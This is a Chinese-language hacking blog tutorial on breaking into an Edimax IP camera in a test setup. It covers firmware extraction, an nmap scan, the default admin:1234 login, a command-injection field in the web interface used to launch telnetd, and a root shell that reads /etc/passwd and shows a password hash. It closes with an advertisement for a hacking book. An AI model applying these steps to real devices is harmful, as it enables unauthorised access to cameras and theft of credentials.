花无涯带你走进黑客世界之黑客日记:如何攻击 IP 摄像头环境测试
如何开始分析 IP 摄像头,当然本文提到的工具同样适用于分析其他的设备。首先,我会介绍如何获取目标固件,并利用固件来收集信息;然后,会讲解如何进入系统;最后,会讲如何在设备上面安装 gdbserver。不过,本文不会去分析那些相对复杂的漏洞,而只专注于那些有助于我们分析设备漏洞的部分,包括后面会提及的一个管理界面远程代码执行漏洞(当然这个漏洞早已提交给了相关厂商)。
![](https://img.haomeiwen.com/i5923442/9ea43aed8b4f2b98.png)
请点击此处输入图片描述
分析设备
这章开始,我们将会在一个已经搭建好的摄像头测试环境中介绍分析的步骤,当然这个测试环境与一般的 Web 应用渗透测试环境没什么太大的区别。在最初的阶段,我们需要通过一些外部资源(例如厂商网站或者谷歌)来收集摄像头的信息,然后利用适当的工具(Burp Suite,nmap等等)扫描摄像头可能暴露的服务(特别是管理界面)。随后就是利用阶段,我们需要拿到进入摄像头的权限,最后就是后利用阶段了,此时我们就可以适当的在摄像头上部署调试分析工具。
![](https://img.haomeiwen.com/i5923442/20c6f67f06128324.png)
请点击此处输入图片描述
步骤1:收集信息
在分析设备前最关键的步骤就是尽可能多的收集相关信息,幸运的是,Edimax 官方网上提供了大量摄像头的信息,如数据表,操作手册,固件和构建工具(包括构建镜像的文件),但是一些涉及敏感信息的二进制文件源码没有公开。
固件可以提供对摄像头最初的认识,通过使用 binwalk 分析固件,可以提取出摄像头的文件系统。
$ binwalk -e IC3116W_v2.10.bin
DECIMAL HEX DESCRIPTION
-------------------------------------------------------------------------------------------------------
605 0x25D LZMA compressed data, properties: 0x88, dictionary size: 1048576 bytes, uncompressed size: 65535 bytes
10392 0x2898 LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 3735204 bytes
1245312 0x130080 Squashfs filesystem, little endian, version 4.0, compression: lzma, size: 4072088 bytes, 907 inodes, blocksize: 131072 bytes, created: Mon Feb 22 11:50:40 2038
从上面信息可以得知,开发人员使用了 SquashFS 文件系统,为了浏览文件系统,我使用带有 LZMA 支持的 unsquashfs:
$ unsquashfs -d filesystem 130080.squashf
这样我们就获得解压过后的文件系统(存储在filesystem文件夹下面)
$ ls -a filesystem
. .. bin dev etc home init lib mnt proc sys test tmp usr var web www
在提取出文件系统后,我们就可以来浏览摄像头的相关文件了。这个文件系统里包含一些有趣的二进制文件,如:telnetd,wget,FTP等等,但是通过使用 Nmap 扫描得知,telnet 守护进程默认情况下没有运行。
$ nmap -sS -p0- --reason -v -T3 -Pn 192.168.2.3
[...]
Nmap scan report for 192.168.2.3
Host is up, received arp-response (0.00065s latency).
Not shown: 65534 closed ports
Reason: 65534 resets
PORT STATE SERVICE REASON
80/tcp open http syn-ack
554/tcp open rtsp syn-ack
MAC Address: 74:DA:38:34:AA:75 (Unknown)
[...]
Web 服务的根目录位于 www 下面,在这里我发现了一些无需身份认证直接就能访问的 CGI 文件:
/www/camera-cgi/public/anonymous.cgi
/www/camera-cgi/public/getSysteminfo.cgi
/www/camera-cgi/public/supportiPhoneAppVersion.cgi
![](https://img.haomeiwen.com/i5923442/7b12ecd240efcfd5.jpeg)
请点击此处输入图片描述
其中,anonymous.cgi 和 getSysteminfo.cgi 透露了很多 IP 摄像头的安装信息(包括内部IP地址,固件版本等等)。
在查看摄像头文件系统中的文件后,下一步就是利用自动化工具结合手动测试来发现摄像头内部服务是如何运行的了。如之前 Nmap 的扫描结果,有一个运行在 80 端口的 Web 服务,通过查看相机背面的说明信息,得知其默认账号密码是 admin:1234。
![](https://img.haomeiwen.com/i5923442/77e09ec48983d128.jpeg)
请点击此处输入图片描述
有了这个账号密码我们就可以进行下一步获取系统访问权限的内容了。
步骤2:获取系统访问
在通过自动化扫描和手工测试后,我在摄像头的 Web 界面中发现了 System Log 允许远程命令执行。通过输入 telnetd 的路径,摄像头的 telnet 服务就被开启了。
![](https://img.haomeiwen.com/i5923442/fd69c07b2744ab46.png)
请点击此处输入图片描述
这样,我们就可能通过 telnet 进入摄像头了:
$ telnet 192.168.2.3
Trying 192.168.2.3...
Connected to 192.168.2.3.
Escape character is '^]'.
IC-34AA75 login: admin
Password:
RLX Linux version 2.0
_ _ _
| | | ||_|
_ _ | | _ _ | | _ ____ _ _ _ _
| |/ || | / / | || | _ | | | | / /
| |_/ | |/ | || | | | | |_| |/
|_| |_|_/_/ |_||_|_| |_|____|_/_/
For further information check:
http://processor.realtek.com/
BusyBox v1.13.4 (2015-02-25 18:14:22 CST) built-in shell (ash)
Enter 'help' for a list of built-in commands.
# cat /etc/passwd
admin:$1$yAn92Ld/$u5nHFH9nLds0naDaLuK1d/:0:0:System Administrator,,,:/:/bin/sh
telnet 的用户凭证跟 Web 管理界面是一样的,从 /etc/passwd 文件发现只有一个账户 admin(uid 0,gid 0) 存在于系统之中,这就意味着我们直接就有了系统的 root 权限了。
我希望你触碰到它的时候,心存感激,因为, 你现在拿起的这本书,不是简单的技术讲解,不是纯粹的课程教学,不是空洞的作者感想,它瘦弱的身躯,承载着太多的重量!这里,还有当年抵御外敌网络入侵的热血气息,这里,还有对整个中华黑客新秀的殷切希望。
这是对于整个黑客帝国的描述,这是巍巍中华最为庞大的黑客组织之一黑协联手推出的指路明灯,这里凝聚着太多太多的心血,这一切,都是为了给你最好的学习体验,都是为了打造一本足以惊世骇俗的经典,都是为了捧起中国新一代拥有黑客梦想的那些人们。
——学习黑客技术攻防书籍 《网络黑白》 某宝有。
网友评论